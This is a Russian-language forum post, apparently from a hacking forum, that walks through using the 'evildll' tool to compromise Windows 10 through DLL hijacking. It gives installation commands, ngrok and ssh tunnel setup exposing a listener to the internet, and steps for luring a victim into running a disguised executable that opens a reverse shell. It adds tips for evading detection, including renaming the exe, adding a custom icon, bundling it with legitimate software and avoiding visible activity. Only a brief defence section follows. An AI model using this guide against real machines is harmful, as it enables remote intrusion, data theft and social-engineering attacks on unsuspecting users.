Компания Microsoft регулярно пытается бороться с атаками Dll Hijacking. Здесь будет представлен один из способов такой атаки.
Кратко:приложение exe при запуске подгружает вредоносный файл библиотеки dll. В итоге, создаются ярлыки cmd с powershell, либо их дубликаты с последующим их вызовом и reverse shell.
Информация предоставляется исключительно в рамках ознакомления и изучения проблем безопасности. Запрещено использование рассматриваемого инструмента в незаконных целях.
Установка:
Код:
# git clone https://github.com/thelinuxchoice/evildll.git
# apt-get install mingw-w64
# cd evildll/
# chmod +x evildll.sh
# bash evildll.sh
Инструмент капризный и немало времени ушло на изучение тонкостей. Один из первых неприятных моментов заключается в том, что требуется authtoken для ngrok. При первом запуске Evildll сам установит ngrok, но потребует сохранения токена.
Пробовал закомментировать участок кода, отвечающий за проверку токена, но могут возникнуть проблемы с запуском listener. Увы, но лучше этот token где-то достать, либо регистрироваться.
Теперь, когда в директории evildll появился файл ngrok, выполняем:
Код:
# chmod +x ngrok
# ./ngrok authtoken значение_token
Атаковать будем пробовать Windows 10. После запуска инструмента, если с токеном всё в порядке, то предлагается 2 варианта реализации атаки. Второй для локальной сетки, либо глобальной WAN, параметры задаёте сами IP (статика) атакующего хоста:порт
При первом способе нам сгенерируется ссылка для платформы ngrok и сервера, работающего на порте 3333. Ссылку вида 0.tcp.ngrok.io:порт шифруем и публикуем для жертвы. Также можно воспользоваться командой в другом терминале
Код:
# ssh -R 80:localhost:3333 custom-subdomain@ssh.localhost.run
Неприятность в том, что порты для ngrok в этом случае назначаются произвольно и это не всегда срабатывает. Если всё успешно, то жертве сразу предлагается скачивание и сохранение архива. Браузер только может предупредить о том, что данный файл загружают редко и не более того.
Evildll сразу же сообщит о активности перехода по ссылке и предложит активировать прослушиватель на 4444 порте.
Атакуемый субъект должен разархивировать архив и запустить приложение exe. Т.к.если запустить из архива приложение, то ничего не выйдет и выбьет ошибку.
Сам момент запуска с правами того пользователя, под которым сидит юзер. Получилось запечатлеть этот парасекундный момент.
У атакующего данные и крепкая сессия.
Команды можно выполнять какие угодно, можно и папку lox создать на рабочем столе. С русскоязычной символикой у меня Blackarch не дружит, поэтому прошу прощения за иероглифы.
Можно посмотреть файлы Microsoft, выполнять системные команды, копировать файлы, удалять их, запускать службы. Не запускайте только активные приложения, т.к. это явное самообнаружение (представьте, что у компа чистый рабочий стол, а тут, вдруг, запустился браузер, или скайп).
В директории инструмента после успешной сессии данные будут сохранены в файл saved. При следующей атаке желательно удалить этот файл с архивом, файл с одноимённым наименованием zip-архива и index.php (они создадутся заново)
Минусы перечислил, теперь плюсы:
- Файл архива задаётся произвольно, исполняемый дефолтный файл exe можно переименовать и снова запихнуть в архив. Иконку возможно свою навесить при этом.
- Разнообразие в СИ (возможность проброса архива с нормальным софтом и инструкцией запуска патча, к примеру и т.д)
- Устойчивость сессии (без разницы что запускается и закрывается на атакуемом хосте, пока он включен, сессия живёт)
- После попытки запуска приложения у сессии визуально-скрытый процесс.
- Возможность использовать Metasploit
- Дублирование cmd с reverse shell не такой уж и вредный процесс))
Защита
Опытные админы и пользователи могут вызвать cmd и после команды netstat обнаружить подозрительное соединение. Конкретно в данном случае, заходим на диск C и видим свежую папку dll, которой в принципе не должно быть здесь.
Удаляем вместе с содержимым и проверяем ветку реестра. На этом у меня пока всё, благодарю за внимание и до новых встреч.
Вложения
Последнее редактирование модератором: